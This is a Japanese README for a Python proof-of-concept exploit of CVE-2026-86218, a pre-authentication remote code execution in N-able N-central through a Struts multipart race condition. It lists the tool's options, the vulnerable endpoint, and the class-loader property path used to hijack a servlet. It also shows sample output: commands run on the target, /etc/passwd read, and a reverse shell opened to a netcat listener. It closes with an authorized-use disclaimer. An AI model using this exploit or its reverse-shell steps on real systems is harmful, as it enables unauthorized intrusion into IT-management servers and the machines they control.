
CVE-2026-86218(N-able N-centralにおけるStrutsマルチパート競合状態を悪用した認証前RCE)のPython 3による概念実証エクスプロイト。コマンド実行とリバースシェルをサポート。
これは、N-able N-central における重大な認証前リモートコード実行脆弱性である CVE-2026-86218 の Python 3 概念実証エクスプロイトです。
脆弱性の詳細:
N-able N-central は、未認証アクション (/remoteControlAction.do) 上でセッションスコープの Struts フォームを使用しています。2つの同時マルチパートリクエストがフォームのマルチパートハンドラを競合させ、Jetty のライブ設定を Commons BeanUtils のプロパティ設定に露出させる可能性があります。これにより、攻撃者は以下を実行できます:
/bin/sh -s 経由で任意のコマンドを実行させるpip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| オプション | 説明 |
|---|---|
-t, --target | 対象の N-central URL (例: https://192.168.1.100) |
-c, --command | 実行する単一コマンド |
-i, --interactive | 対話型コマンドモード |
--lhost | リバースシェル用のリスナー IP |
--lport | リスナーポート (デフォルト: 4444) |
--servlet | 置き換えるサーブレット: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet |
--check | 対象が脆弱かどうかを確認 |
--no-verify-ssl | SSL 証明書検証を無効化 |
--timeout | リクエストタイムアウト (デフォルト: 30秒) |
--race-delay | 競合状態の遅延 (デフォルト: 0.35秒) |
-v, --verbose | 詳細出力を有効化 |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
期待される出力:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
期待される出力:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
最初にリスナーを起動:
nc -lvnp 4444
エクスプロイトを実行:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
期待される出力:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
リスナー出力:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
対話型セッション:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| サーブレット | 説明 | 影響 |
|---|---|---|
LogRetrieval | ログ取得エンドポイント (デフォルト) | 最も影響が少なく、再起動までログが利用不可 |
FileTransfer | ファイル転送エンドポイント | ファイル転送機能を妨害 |
AutomationManagerDownloadServlet | 自動化管理ダウンロード | 管理 UI ポート (8443) が必要 |
/remoteControlAction.do をクエリしてエラーページからバージョンを抽出この脆弱性は、Struts のマルチパートフォーム処理における競合状態を悪用します:
ミューテーションフィールドは JavaBean プロパティパスを使用します:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
これは以下を辿ります: マルチパートハンドラ → サーブレットコンテキスト → クラスローダー → WebAppContext → サーブレットハンドラ → 特定のホルダー
/remoteControlAction.do への異常なリクエストこのエクスプロイトは、許可されたセキュリティテストおよび教育目的のみで提供されています。所有していない、またはテスト許可を得ていないシステムに対してこのエクスプロイトを不正使用することは、違法かつ非倫理的です。
ペネトレーションテスト活動を実施する前に、常に適切な許可を取得してください。